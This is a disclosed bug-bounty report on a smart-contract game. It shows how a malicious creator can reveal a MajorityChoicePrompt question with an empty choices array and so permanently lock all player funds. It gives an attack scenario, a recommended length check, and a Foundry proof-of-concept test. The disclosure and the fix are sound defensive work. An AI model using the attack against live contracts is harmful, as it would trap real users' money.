Status DataClose notification

Majority Games Disclosed Report

Empty choices Array in MajorityChoicePrompt Allows Permanent Locking of All Player Funds

Created date

Target

hidden

Vulnerability Details

Vulnerability Details

A critical vulnerability exists in the MajorityChoicePrompt contract that allows a malicious creator to permanently lock all funds within a game session. The issue stems from an unvalidated choices array parameter in a revealed question, which leads to an inevitable out-of-bounds revert during the game's finalization process.

The core of the vulnerability lies in two areas:

  1. Unvalidated Parameter in revealQuestion: The MajorityChoicePrompt.sol contract does not enforce a minimum length on the choices array when a creator reveals a question. A creator can commit the hash of a prompt where the choices array is empty (choices.length == 0) and subsequently reveal it. The contract accepts this malformed question data without validation.

  2. Out-of-Bounds Revert in recordSolution: For a game to be finalized and rewards distributed, the DefaultSession.recordResults contract must successfully call the recordSolution function on the prompt contract for each question. However, MajorityChoicePrompt.recordSolution contains the following access:

    // src/prompt/MajorityChoicePrompt.sol:218-219
    uint16 selection = abi.decode(solution, (uint16));
    q.finalizedAnswer = q.choices[selection];
    

    When q.choices is an empty array, any attempt to access an element (e.g., q.choices[0]) is an out-of-bounds operation. This causes the transaction to revert with a panic error, making it impossible for recordSolution to ever be successfully executed for this question.

Since players join a game before question parameters like the choices array are revealed, they have no way of knowing they are entering a maliciously configured game designed to lock their funds.

Impact & Attack Scenario

The impact is a permanent Denial of Service (DOS) for fund withdrawal for any game utilizing the MajorityChoicePrompt. A creator can wait for a significant prize pool to accumulate from entry fees and sponsorships, and then trigger this condition, ensuring no one can ever claim their rewards or get a refund.

Attack Scenario:

  1. A malicious creator sets up a new game that includes at least one MajorityChoicePrompt question, committing the hash of a prompt with an empty choices array.
  2. The creator waits as honest players join, paying their entry fees and increasing the prize pool.
  3. At the game's start time, the creator calls revealQuestion, providing the question data with the empty choices array. The contract accepts this.
  4. The game proceeds normally and eventually concludes, moving to the Ended state. Any attempt by players to reveal their answer to the malformed question would also revert, but this is not required for the attack.
  5. The UMA optimistic oracle process begins to determine the winners. After the liveness period, the oracle's callback triggers DefaultSession.recordResults.
  6. recordResults attempts to call MajorityChoicePrompt.recordSolution to finalize the question's outcome.
  7. The call to recordSolution immediately reverts due to the out-of-bounds access on the empty choices array.
  8. Because recordResults fails, the list of winners is never populated in the DefaultSession contract.
  9. Result: The game is now permanently stuck.
    • concludeGame and concludeGameIfCreatorMissing will always revert because a list of winners has not been set.
    • cancelGameIfCreatorMissing will revert because all questions were successfully "revealed" and this prompt type does not have a "solution pending" state that would allow cancellation.
    • All player funds are locked in the contract forever.

Recommendations

The contract must be hardened to prevent the acceptance of malformed question data that makes finalization impossible.

Enforce a Minimum Number of Choices

The most critical fix is to enforce a sensible minimum bound on the choices array length within the revealQuestion function. A majority-choice question is not logical with fewer than two choices. This check completely prevents the vulnerability.

  • Implementation: In MajorityChoicePrompt.sol, add a check within the revealQuestion function.

    // In MajorityChoicePrompt.sol, define a new error
    error NoChoicesProvided();
    
    // In revealQuestion function
    function revealQuestion(bytes memory question, uint256 questionId) external {
        Prompt memory q = abi.decode(question, (Prompt));
    
        // --- SUGGESTED ADDITION START ---
        if (q.choices.length < 2) {
            revert NoChoicesProvided();
        }
        // --- SUGGESTED ADDITION END ---
    
        // ... existing logic ...
    }
    

Validation steps

Here is a PoC to prove the issue and also that users can't do anything to cancel or conclude the game. You can add the PoC to FullGameTest.t.sol and call it with -vvvv to check all of the out-of-bounds reverts that happen on assertionResolvedCallback.

 // PoC: MajorityChoice with empty choices array causes permanent DoS
    // - Creator commits a MajorityChoice question with choices.length == 0
    // - At reveal, the prompt accepts it (no length check) and marks question revealed
    // - Any user reveal reverts (out-of-bounds when indexing choiceCounters)
    // - Later, recordResults -> recordSolution for this question reverts when indexing q.choices[selection]
    // - Therefore: winners never recorded, conclude fails, and cancel-if-creator-missing also fails
    function test_MajorityChoice_EmptyChoices_PermanentDoS() public {
        // Arrange fresh game
        uint32 s = uint32(block.timestamp + sessionManager.minimumStartDelay() + 1);
        uint32 e = s + 60;

        // Build local question arrays with Q1 having empty choices
        bytes32[] memory hashes = new bytes32[](3);
        address[] memory strategies = new address[](3);
        uint256[] memory salts = new uint256[](3);

        // Use an existing well-formed MajorityChoice question from setUp
        hashes[0] = hash1; strategies[0] = majorityChoicePromptStrategy; salts[0] = salt1;

        // Craft MajorityChoice with empty choices
        (, bytes memory emptyEncoded, bytes32 emptyHash, uint256 emptySalt) =
            createMajorityChoiceQuestion("empty choices", new string[](0), 10);
        hashes[1] = emptyHash; strategies[1] = majorityChoicePromptStrategy; salts[1] = emptySalt;

        // Use an existing SPBinary for the third question to keep flow realistic
        hashes[2] = hash3; strategies[2] = spBinaryPromptStrategy; salts[2] = salt3;

        // Create game
        uint256 gid;
        vm.startPrank(creator);
        gid = sessionManager.createGame(
            s,
            e,
            10 ether,
            10,
            usdc,
            creator,
            hashes,
            strategies,
            sessionStrategy,
            rewardStrategy,
            false
        );
        vm.stopPrank();

        // 3 contestants join
        for (uint256 i = 0; i < 3; i++) {
            vm.startPrank(contestants[i]);
            TestUSDC(usdc).approve(address(sessionManager), 10 ether);
            sessionManager.joinGame(gid);
            vm.stopPrank();
        }

        // Reveal questions (including the malformed empty-choices question)
        uint256[] memory qIds = sessionManager.getQuestionsForGame(gid);
        vm.warp(s);
        vm.startPrank(creator);
        DefaultSession(sessionStrategy).setXPTiers(gid, Solarray.uint256s(100, 1));
        FixedRanksReward(rewardStrategy).setRankedRewards(gid, Solarray.uint256s(10_000));
        // Start with Q0 (valid MajorityChoice)
        sessionManager.startAndRevealGameQuestion(gid, qIds[0], q1Encoded, salts[0]);
        // Reveal Q1 (empty choices)
        sessionManager.revealGameQuestion(gid, qIds[1], emptyEncoded, salts[1]);
        // Reveal Q2 (SPBinary)
        sessionManager.revealGameQuestion(gid, qIds[2], q3Encoded, salts[2]);
        vm.stopPrank();

        // Demonstrate that a user cannot reveal on the empty-choices question (OOB revert)
        uint256 userSalt = 777;
        vm.startPrank(contestants[0]);
        // Commit succeeds
        sessionManager.commitReaction(gid, qIds[1], keccak256(abi.encodePacked(gid, qIds[1], uint16(0), userSalt)));
        // Reveal reverts when it tries to push into choiceCounters[selection] where outer length == 0
        vm.expectRevert();
        sessionManager.revealReactions(
            gid,
            Solarray.uint256s(qIds[1]),
            Solarray.bytess(abi.encode(uint16(0))),
            userSalt
        );
        vm.stopPrank();

        // End game
        vm.warp(e);
        vm.prank(creator);
        sessionManager.endGame(gid);

        // Allow reaction windows to elapse so recordSolution deadline guard passes
        vm.warp(block.timestamp + 60);

        // UMA assert and resolution path; recordResults will try to recordSolution for each question
        vm.mockCall(
            address(optimisticOracle), abi.encodeCall(OptimisticOracleV3Interface.getMinimumBond, (usdc)), abi.encode(0)
        );
        vm.mockCall(
            address(optimisticOracle),
            abi.encodeWithSelector(OptimisticOracleV3Interface.assertTruth.selector),
            abi.encode(bytes32(uint256(0xBEEF)))
        );

        bytes32 aId = ISessionStrategy(sessionStrategy).assertResults(
            gid,
            "ipfs://results",
            Solarray.addresses(contestants[0]),
            Solarray.uint256s(1),
            Solarray.uint256s(1),
            // Solutions: Q0 (Majority): selection 0, Q1 (Majority empty): selection 0 → will revert, Q2 (SPBinary): true
            Solarray.bytess(abi.encode(uint16(0)), abi.encode(uint16(0)), abi.encode(true))
        );

        // Oracle resolves truthfully — but recordResults will revert on Majority empty choices (indexing q.choices[0])
        vm.startPrank(optimisticOracle);
        vm.expectRevert();
        SessionResultAsserter(sessionStrategy).assertionResolvedCallback(aId, true);
        vm.stopPrank();

        // Conclude fails: winners not written due to recordSolution revert
        vm.startPrank(creator);
        vm.expectRevert();
        sessionManager.concludeGame(gid);
        vm.stopPrank();

        // Creator missing conclude also fails (after grace)
        vm.warp(e + 1 days);
        vm.expectRevert();
        sessionManager.concludeGameIfCreatorMissing(gid);

        // Cancel-if-creator-missing fails: all questions revealed; revealSolutionPending returns false
        vm.expectRevert();
        sessionManager.cancelGameIfCreatorMissing(gid);
    }

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
Statedisclosed
Severity
Critical
Bounty$4,017
Visibilitypartially
VulnerabilityOther
Participants
hidden